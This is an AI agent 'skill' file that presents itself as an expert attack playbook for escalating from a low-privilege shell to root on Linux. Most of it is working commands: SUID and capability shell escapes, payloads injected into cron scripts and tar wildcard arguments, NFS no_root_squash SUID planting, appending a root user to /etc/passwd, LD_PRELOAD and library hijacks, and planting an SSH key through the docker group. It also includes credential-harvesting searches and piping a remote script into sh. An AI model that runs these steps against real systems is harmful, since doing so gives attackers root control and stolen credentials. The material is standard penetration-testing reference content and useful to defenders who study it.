Linux Privilege Escalation

---
name: linux-privilege-escalation
description: >-
  Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.
---

# SKILL: Linux Privilege Escalation — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target is a container and you need to escape to host
- [linux-security-bypass](../linux-security-bypass/SKILL.md) when facing restricted shells, AppArmor, SELinux, or seccomp
- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after obtaining root for pivoting to adjacent hosts
- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when the host is a Kubernetes node

### Advanced Reference

Also load [SUID_CAPABILITIES_TRICKS.md](./SUID_CAPABILITIES_TRICKS.md) when you need:
- Top 30 SUID binaries with exact exploitation commands (GTFOBins)
- Capability-specific exploitation for each dangerous cap
- Custom SUID binary exploitation methodology

Also load [KERNEL_EXPLOITS_CHECKLIST.md](./KERNEL_EXPLOITS_CHECKLIST.md) when you need:
- Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
- Exploit compilation tips and cross-compilation notes
- Kernel exploit stability assessment

---

## 1. ENUMERATION CHECKLIST

Run these immediately after landing a shell:

### System Info

```bash
uname -a                        # Kernel version
cat /etc/os-release             # Distro and version
cat /proc/version               # Kernel compile info
hostname && id && whoami        # Current context
```

### Sudo & SUID/SGID

```bash
sudo -l                         # What can we run as root?
find / -perm -4000 -type f 2>/dev/null   # SUID binaries
find / -perm -2000 -type f 2>/dev/null   # SGID binaries
getcap -r / 2>/dev/null         # Files with capabilities
```

### Cron & Timers

```bash
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
systemctl list-timers --all     # systemd timers
```

### Writable Files & Dirs

```bash
find / -writable -type f 2>/dev/null | grep -v proc
ls -la /etc/passwd /etc/shadow  # Check permissions
find / -perm -o+w -type d 2>/dev/null   # World-writable dirs
```

### Network & Services

```bash
ss -tlnp                        # Listening services
cat /proc/net/tcp               # Raw TCP connections
ps aux                          # Running processes
env                             # Environment variables (credentials?)
```

### Credential Locations

```bash
cat ~/.bash_history
cat ~/.mysql_history
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
```

---

## 2. SUID/SGID EXPLOITATION

### GTFOBins Methodology

1. Find SUID binaries: `find / -perm -4000 -type f 2>/dev/null`
2. Cross-reference each with [GTFOBins](https://gtfobins.github.io/)
3. Use the "SUID" section specifically — not all binary abuse works with SUID

### Quick-Win SUID Escalations

| Binary | Command |
|---|---|
| `bash` | `bash -p` |
| `find` | `find . -exec /bin/sh -p \; -quit` |
| `vim` | `vim -c ':!/bin/sh'` |
| `python` | `python -c 'import os; os.execl("/bin/sh","sh","-p")'` |
| `env` | `env /bin/sh -p` |
| `nmap` (old) | `nmap --interactive` → `!sh` |
| `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` |
| `less` | `less /etc/passwd` → `!/bin/sh` |
| `cp` | Copy `/etc/passwd`, add root user, copy back |

### Shared Library Hijacking (SUID Binary)

```bash
ldd /usr/local/bin/suid_binary                    # Check loaded libraries
strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so"  # Find load paths

# If it loads from a writable directory — inject constructor:
gcc -shared -fPIC -o /writable/path/libevil.so evil.c
# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")
```

---

## 3. CAPABILITIES ABUSE

| Capability | Risk | Exploitation |
|---|---|---|
| `cap_setuid` | **Critical** | `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` |
| `cap_dac_override` | **Critical** | Read/write any file regardless of permissions |
| `cap_dac_read_search` | **High** | Read any file — dump `/etc/shadow` |
| `cap_sys_admin` | **Critical** | Mount filesystems, BPF, namespace manipulation |
| `cap_sys_ptrace` | **High** | Inject into root processes via ptrace |
| `cap_net_raw` | **Medium** | Sniff traffic, ARP spoofing |
| `cap_net_bind_service` | **Low** | Bind to privileged ports (<1024) |
| `cap_fowner` | **High** | Change ownership of any file |

```bash
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Example: python3 with cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

---

## 4. CRON / TIMER ABUSE

### Writable Cron Scripts

```bash
# Find cron jobs running as root
cat /etc/crontab | grep root
ls -la /etc/cron.d/

# If a root-owned cron runs a script writable by current user:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
# Wait for cron → /tmp/bash -p
```

### PATH Hijacking in Cron

```bash
# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
# And runs: * * * * * root backup.sh (without full path)
# Create /home/user/backup.sh:
echo '#!/bin/bash' > /home/user/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
chmod +x /home/user/backup.sh
```

### Wildcard Injection (tar)

```bash
# If cron runs: tar czf /backup/archive.tar.gz *
# In the target directory, create:
echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"
# tar interprets filenames as arguments
```

### pspy — Monitor Processes Without Root

```bash
# Upload pspy64 or pspy32 to target
./pspy64
# Watch for cron jobs, services, and background processes
```

---

## 5. NFS NO_ROOT_SQUASH

```bash
# On attacker: check exported shares
showmount -e TARGET_IP

# If no_root_squash is set:
mount -t nfs TARGET_IP:/share /mnt/nfs
# As root on attacker box:
cp /bin/bash /mnt/nfs/bash
chmod +s /mnt/nfs/bash

# On target:
/share/bash -p    # root shell
```

---

## 6. WRITABLE /etc/passwd OR /etc/shadow

### Writable /etc/passwd

```bash
# Generate password hash
openssl passwd -1 -salt xyz password123
# → $1$xyz$...hash...

# Append root-equivalent user
echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd

# Or replace root's 'x' with generated hash (if no shadow file)
```

### Writable /etc/shadow

```bash
# Generate SHA-512 hash
mkpasswd -m sha-512 password123

# Replace root's hash in /etc/shadow
```

---

## 7. LD_PRELOAD / LD_LIBRARY_PATH WITH SUDO

```bash
# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary
```

---

## 8. DOCKER GROUP → ROOT

```bash
# If current user is in the docker group:
id    # check for "docker" in groups

# Mount host filesystem
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or add SSH key
docker run -v /root:/mnt --rm -it alpine sh -c \
  'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'
```

---

## 9. PYTHON / PERL / RUBY LIBRARY HIJACKING

```bash
# Python: if a root-executed script does "import somelib"
# Check python path order:
python3 -c 'import sys; print("\n".join(sys.path))'

# Place malicious module in writable path that comes first:
cat > /writable/path/somelib.py << 'EOF'
import os
os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
EOF

# Perl: PERL5LIB / @INC manipulation
# Ruby: RUBYLIB / $LOAD_PATH manipulation
```

---

## 10. AUTOMATED TOOLS

| Tool | Purpose | Command |
|---|---|---|
| **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` |
| **linux-exploit-suggester** | Kernel exploit suggestions | `./linux-exploit-suggester.sh` |
| **pspy** | Monitor processes (no root needed) | `./pspy64` |
| **LinEnum** | Legacy enumeration | `./LinEnum.sh -t` |
| **GTFOBins** | SUID/sudo/capability abuse reference | https://gtfobins.github.io/ |

---

## 11. PRIVILEGE ESCALATION DECISION TREE

```
Low-privilege shell obtained
│
├── sudo -l shows entries?
│   ├── GTFOBins match? → exploit directly
│   ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7)
│   ├── NOPASSWD on custom script? → review script for injection
│   └── (ALL) with password? → check for password reuse/hashes
│
├── SUID/SGID binaries found?
│   ├── Standard binary on GTFOBins? → SUID exploit (§2)
│   ├── Custom binary? → reverse engineer, check libs (strace/ltrace)
│   └── Shared lib from writable path? → library hijack (§2)
│
├── Capabilities on binaries?
│   ├── cap_setuid? → instant root (§3)
│   ├── cap_dac_override? → write /etc/passwd (§6)
│   ├── cap_sys_admin? → mount / namespace tricks
│   └── cap_sys_ptrace? → process injection
│
├── Cron jobs running as root?
│   ├── Writable script? → inject payload (§4)
│   ├── Missing full path? → PATH hijack (§4)
│   └── Uses wildcards? → wildcard injection (§4)
│
├── Writable sensitive files?
│   ├── /etc/passwd writable? → add root user (§6)
│   ├── /etc/shadow writable? → replace root hash (§6)
│   └── systemd unit files writable? → add ExecStartPre
│
├── Docker/LXD group membership?
│   └── Yes → mount host filesystem (§8)
│
├── NFS shares with no_root_squash?
│   └── Yes → SUID binary via NFS (§5)
│
├── Kernel version old/unpatched?
│   └── Check KERNEL_EXPLOITS_CHECKLIST.md
│
└── None of the above?
    ├── Run LinPEAS for comprehensive scan
    ├── Check for password reuse (bash_history, config files)
    ├── Check internal services (127.0.0.1 listeners)
    └── Monitor processes with pspy for hidden opportunities
```